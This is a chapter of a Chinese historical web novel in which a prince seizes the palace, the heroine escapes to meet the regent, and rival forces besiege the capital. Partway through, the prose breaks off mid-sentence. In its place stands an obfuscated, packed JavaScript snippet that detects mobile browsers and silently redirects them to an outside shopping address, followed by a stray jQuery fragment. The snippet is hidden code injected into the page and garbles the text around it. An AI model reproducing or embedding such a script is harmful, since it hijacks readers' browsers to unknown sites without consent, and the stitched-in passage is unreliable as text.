57. 安抚

作品:《重生之凤鸣疏桐

    “诸位大臣,还有什么话讲?本王向来没什么耐心,诸位还是惜命些的好,也为家人争一份福祉。”宋昀扬手,一年迈的大臣瞧见自家的妻女被带了上来,脸色唰的变白了,连连叩头,“臣遵陛下口谕,不敢有异议,不敢有异议,求殿下饶恕臣的妻儿。”


    宋昀凉凉瞧了一眼御史大夫的头颅,仿佛在警告众人,这便是迂腐的下场!


    正当他要招呼下一个时,手下却匆匆来报,听到谢疏桐跑了。


    宋昀脸色铁青,猛然起身,心中的怒意难平。


    直接便朝殿外走去,大臣们仿佛得到了一丝喘息。


    宋昀怒气冲冲到了永安宫,质问宋明裳:“不是叫你看着人吗,为何谢疏桐会跑了,你知不知道这个女人一旦逃脱会给本王带来多大的麻烦!”


    宋明裳冷然瞧了他一眼,默不作声。


    坏消息接连而至,宋珏的人带着兵符在京城城门下吆喝,和齐厉蹲守在周边的兵马拔剑相向,奈何对方有兵符在手,如今违抗皇命,意图谋反的已然成了他们。


    宋昀谋反的动作被揭露,已然成了被讨伐的对象,百姓愤怒地攻击着齐厉的士兵,怒吼着放他们的太子进来勤王救驾!


    太子?


    谁是太子?


    宋珏?


    宋昀不可置信,眼底的幽怨已然藏不住,如今天时地利人和,还能让他宋珏反了天不成?


    他本想不闹大不动兵戈便解决,奈何宋珏闹成这样,既然他乱臣贼子的罪名落实,那也没什么可装的了。


    “来人!传话给齐厉,全力抵挡!至于宋珏生死不论!”


    “本王倒要看看,他手中的那块兵符除了给他正名还有什么作用!”


    宋昀提剑便往乾安宫而去,父皇啊父皇,您还真是好计策,竟然秘密将虎符送了出去!


    几个时辰后,暮色已然降临。


    谢疏桐快马加鞭跑出了数十里,随行被派来护送她的人都被甩了一大截。


    谢疏桐骑得飞快,已然都快忘却了她马术不好这一件事。


    风声在耳边呼啸,冷风刮在脸上,突然一支箭直挺挺从她眼前飞过,吓得马扬起蹄子乱瞪起来。


    便在谢疏桐身子一抖,即将摔落下来时,一道玄色的身影从骏马上踏鞍而起,脚踏轻功飞速跑来抱住了她,和她一同栽在了地上。


    谢疏桐撞入一个结实的怀中,等她以为是贼人挣扎着起身时,周景珩的面庞撞入她的视线。赶上来准备擒拿谢疏桐的凌风一瞧见这一幕,心里念叨着完了完了。


    周景珩栽在地上疼的龇牙咧嘴,谢疏桐心里绷紧的一根弦一下子便崩开了。


    周景珩瞧见谢疏桐坐的直愣愣,爬起身来端详着她的脸,什么也没说,用力将她拥住。


    谢疏桐提心吊胆了一天,她担心逃不出皇宫,担心赶不上阻止谢容止,担心路上遇到什么状况,也担心没人马支援的周景珩在南境出事。


    南境离京城不远,大燕定都偏南,南蛮若是攻下兰郡,直下数城便能直达京师。


    如今周景珩安然无恙地回来了,是不是证明兰郡没事了?


    “别多想了,兰郡没事了,我的淼淼也无恙。”周景珩预判了她的胡思乱想


    谢疏桐听着鼻子瞬间便酸了,说起话来也哽咽,似小孩控诉一般。


    “你……你一声不吭便去南境了,我知道是宋昀的阴谋时我都担心死了……我费尽心思才让……才让宋明裳放了我,她还扇了我一巴掌,都怨你!我什么时候受过这等气!”


    周景珩听见谢疏桐被打的时候,眸子瞬间便冷了下来,修长的手指抚上她的脸,脸上已然看不见什么痕迹,可高傲如谢疏桐,什么时候受过这等羞辱!


    周景珩摊开谢疏桐的手,许是马骑得还不够熟练,谢疏桐飞驰之下只能攥紧缰绳,双手被磨破了皮也不知晓,伤口还在往外冒着血丝。


    谢疏桐瞧见伤口,第一反应是唰的站起:“我还要赶去西境,我要去阻止长兄,否则让陛下知晓他擅离边疆定要降罪于他!”


    周景珩拉住了谢疏桐,安抚道:“不必担心,我回来了,你长兄不会有事的,西境太远了,就是跑死马也要明日才能到。”


    “你也不知你长兄出发走了哪条道,如今你将虎符送了出来,虎符号令万军,便当作是我召你长兄回来的。”


    “我让人引你去入京城的一道关卡,你便在那处等着你长兄便好。”


    谢疏桐这才松了一口气,提着的心缓缓放下,周景珩轻轻捏了谢疏桐的脸,轻笑一声:“谢大小姐有勇有谋,好生厉害。”


    深夜到天明,京城脚下已然兵戎相向,在山上的胤王瞧见这么一幕,腿险些软了下去,他哪里知晓给兰郡送了那封信会酿成这般祸事?


    “夫人,如今这可如何是好啊,老三居然如此狼子野心,若是老四顶不住,岂非引火烧身了?”


    “如今闹成这般模样,老四知晓岂非要与本王算账?”


    严望舒却漫不经心地瞧他一眼:“王爷不必惊慌,坐山观虎斗有何不好?明王最大的底牌便是摄政王,只要摄政王安然回来,局势便不一样了,可无论最后谁赢了,都是两败俱伤。”


    虽然这般说,可严望舒心里是没底的,她算漏了皇帝的身体状况,没成想还未回京皇帝便传来病重的消息了,这是她始料未及的。


    若是皇帝挺不过去,这结局便不同了,如何都轮不上胤王了。


    “兰郡的将士们!边境黄沙漫天,每日提心吊胆应对蛮人的日子我们过够了!”


    “匡扶新帝,入主京城,光宗耀祖!”随着齐厉副将的一声怒吼,城楼之上射下箭雨,城楼之下顿时成了一片炼狱。


    宋珏面露不忍,在后方瞧着这一切,看了一眼晏墨,后者却没什么波澜,只是淡淡道:“殿下仁慈,可这天下之主,光有仁心不够,还要有狠厉手段才能震慑住百官。”


    “这一点,摄政王比您更适合成为一个皇帝。”宋珏不明白为何晏墨会有此一言,但还是点头表示受教了。


    佛曰有舍有得,这便是晏墨的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082819|194172||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    破城之法。


    正门打得惨烈,才能将兵力尽数吸引过来,从而让周景珩能带领王军乘虚而入。


    虽然兵符在手,但是皇帝的情况早已刻不容缓,没有时间让他们去各地调兵。


    周景珩带着数千王军将士悄然攻破了东边的城门,马蹄声掠过千家万户,扬起尘土飞扬。


    京城的天变了,平头老百姓哪里懂什么政治权谋,只晓得要死人了,赶忙牵着妻儿躲了起来。


    皇城外厮杀地惨烈,皇城内的宋昀已然疯了魔,瞧着枯坐在榻上的皇帝,宋昀眼里闪过偏执:“父皇从小给予我们兄弟的教导便是弱肉强食,如今我都打到皇城来了,您还将兵符送出去,还不愿承认您对儿子的偏见吗!”


    皇帝默不作声,平静地让宋昀几乎崩溃。


    “父皇也是庶子,也早早死了母亲,您我父子同病相怜,我不过是复刻了父皇上位的道路罢了,尚且没有屠戮兄弟,您又何必非要将我推向这么一条道路呢!”


    “被世家和摄政王府把持的朝政早就该结束了,你太窝囊,将权力交到外人手中,如今我若为帝,自然会实现我宋氏皇朝帝权的极大集中,这该是所有人都愿意看到的局面!”


    皇帝闻言微微一笑,却还是没有讲话。


    宋昀不懂,所谓集权于一身,在大燕是难以做到的,所有皇帝都要各方势力的扶持。


    周家扶持了他,扶持了宋珏,便代表着难以摆脱臣子势大的局面,唯一的出路便是制衡。


    他不是不想要权,是不愿皇帝和重臣斗地头破血流。


    与其如此,他宁愿提拔世家来与周家制衡着。


    可宋昀只瞧到了一时的权势,贸然向世家和重臣出手,结果只会是颠覆性的,造成皇朝动荡,民不聊生,外敌乘虚而入。


    他是懦弱,但看得更长远。


    “殿下!摄政王等人突破了东边城门,正门的将士们战了一夜,都无力再战了。”


    宋昀听着默不作声,端起一旁的药喃喃着:“父皇,你身子差,该喝药了。”


    “喝完药,便将玉玺交与儿臣,这江山,儿臣会替你看住的。”


    禀报的士兵瞧着宋昀的举动瑟瑟发抖,不敢作声。


    片刻后宋昀起身,拿起案上皇帝交出的玉玺,那是他用王义的性命要挟逼迫皇帝“苏醒”交出的。


    他一手握着玉玺,一手提剑,出了殿门。


    “御林军听令,摄政王勾结明王造反,欲攻入皇城,如今父皇病重,玉玺在本王手上,随我迎敌!”


    快到正午时分,谢疏桐见到了谢家的兵马,赶忙迎了上去。


    “长兄!”


    “淼淼,你为何会在此?有什么话先回府再说,我如今军令在身,奉旨回京拱卫京城。”说着便要驾马而去。


    谢疏桐急得直接举起了谢渊交与她的印玺:“家主印玺在此,谢家军将士听令!”


    瞧见那明晃晃的印玺,众人都静默下来,眼里有怀疑,有不可置信,家主之印会在一个女子手上!